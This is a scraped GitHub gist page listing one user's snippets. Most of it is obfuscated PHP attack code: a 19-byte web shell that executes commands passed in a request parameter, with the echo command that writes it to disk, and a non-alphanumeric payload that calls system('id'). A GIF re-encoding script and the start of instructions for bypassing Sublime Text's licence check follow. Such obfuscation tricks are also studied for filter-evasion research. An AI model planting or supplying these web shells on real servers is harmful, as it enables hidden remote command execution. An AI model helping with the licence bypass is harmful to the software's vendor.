Skip to content

Instantly share code, notes, and snippets.

View Radare2_cheatsheet.notes
██▀███ ▄▄▄ ▓█████▄ ▄▄▄ ██▀███ ▓█████
▓██ ▒ ██▒▒████▄ ▒██▀ ██▌▒████▄ ▓██ ▒ ██▒▓█ ▀
▓██ ░▄█ ▒▒██ ▀█▄ ░██ █▌▒██ ▀█▄ ▓██ ░▄█ ▒▒███
▒██▀▀█▄ ░██▄▄▄▄██ ░▓█▄ ▌░██▄▄▄▄██ ▒██▀▀█▄ ▒▓█ ▄
░██▓ ▒██▒ ▓█ ▓██▒░▒████▓ ▓█ ▓██▒░██▓ ▒██▒░▒████▒
░ ▒▓ ░▒▓░ ▒▒ ▓▒█░ ▒▒▓ ▒ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░░ ▒░ ░
░▒ ░ ▒░ ▒ ▒▒ ░ ░ ▒ ▒ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ░ ░
░░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░
@terjanq
terjanq / rev_shell.php
Last active Apr 28, 2021
The shortest non-alphanumeric reverse shell script (19 bytes)
View rev_shell.php
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation:
View funny.php
/* system(id) */
<?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>
<!--
Explanation:
- Some of the characters might look like alphanumeric, but they are Unicode characters.
- 'ArrayΦ' <-> [].Φ
- 1 <-> ![]
- 'a' <-> ([].Φ)[![]+![]+![]]
View gd-gif.php
<?php
//php gd-gif.php image.gif gd-image.gif
$gif = imagecreatefromgif($argv[1]);
imagegif($gif, $argv[2]);
imagedestroy($gif);
?>
View Sublime Text 3 cheating.md

Ref: https://gist.github.com/vertexclique/9839383

Important Note

Please use built-in Terminal.app (of Mac OS X) to type and rune the command, do not use another tool (like iTerm2).

Common step after enter run the patch command:

  • After run the commands, start new Sublime Text app, go to Main Menu > Help > Enter License. On the popup type in any text (example "a") and click Use Licence .